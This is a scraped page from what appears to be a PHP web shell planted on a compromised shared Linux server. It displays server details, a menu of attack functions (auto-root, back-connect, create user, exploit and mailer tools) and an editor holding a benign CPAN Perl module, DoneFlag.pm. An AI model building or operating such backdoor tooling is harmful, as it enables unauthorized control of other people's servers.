Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Data /
Stream /
Bulk /
[ HOME SHELL ]
Name
Size
Permission
Action
Path
[ DIR ]
drwxr-xr-x
Array.pm
2.56
KB
-rw-r--r--
Callback.pm
1.53
KB
-rw-r--r--
Cat.pm
1.79
KB
-rw-r--r--
Chunked.pm
2.01
KB
-rw-r--r--
DBI.pm
2.31
KB
-rw-r--r--
DBIC.pm
1.72
KB
-rw-r--r--
DoneFlag.pm
2.15
KB
-rw-r--r--
FileHandle.pm
1.51
KB
-rw-r--r--
Filter.pm
1.87
KB
-rw-r--r--
Nil.pm
1.41
KB
-rw-r--r--
Util.pm
2.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DoneFlag.pm
package Data::Stream::Bulk::DoneFlag; BEGIN { $Data::Stream::Bulk::DoneFlag::AUTHORITY = 'cpan:NUFFIN'; } { $Data::Stream::Bulk::DoneFlag::VERSION = '0.11'; } use Moose::Role; # ABSTRACT: Implement the C<is_done> method in terms of a flag use namespace::clean -except => 'meta'; with qw(Data::Stream::Bulk); requires "get_more"; sub is_done {} has done => ( isa => "Bool", init_arg => undef, reader => "is_done", writer => "_done", ); sub finished {} sub _set_done { my $self = shift; $self->_done(1); $self->finished; } sub next { my $self = shift; unless ( $self->is_done ) { if ( my $more = $self->get_more ) { return $more; } else { $self->_set_done; return; } } else { return; } } __PACKAGE__; =pod =head1 NAME Data::Stream::Bulk::DoneFlag - Implement the C<is_done> method in terms of a flag =head1 VERSION version 0.11 =head1 SYNOPSIS package Data::Stream::Bulk::Blah; use Moose; with qw(Data::Stream::Bulk::DoneFlag); sub get_more { if ( my @more = more() ) { return \@more; } else { return; } } =head1 DESCRIPTION This role implements the C<Data::Stream::Bulk> core API in terms of one method (C<get_more>). As a convenience it calls C<finished> when the stream is exhausted, so that cleanup may be done. This is used by classes like L<Data::Stream::Bulk::DBI>, L<Data::Stream::Bulk::Callback>. =head1 METHODS =over 4 =item is_done Returns the state of the iterator. =item next As long as the iterator is not yet done, calls C<get_more>. If C<get_more> returned a false value instead of an array reference then C<done> is set, C<finished> is called, and this C<next> does nothing on subsequent calls. =item finished A noop by default. Can be overridden if so desired. =back =head1 REQUIRED_METHODS =over 4 =item get_more Returns the next block of data as an array ref, or a false value if no items are left. =back =head1 AUTHOR Yuval Kogman <nothingmuch@woobling.org> =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2012 by Yuval Kogman. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut __END__
Close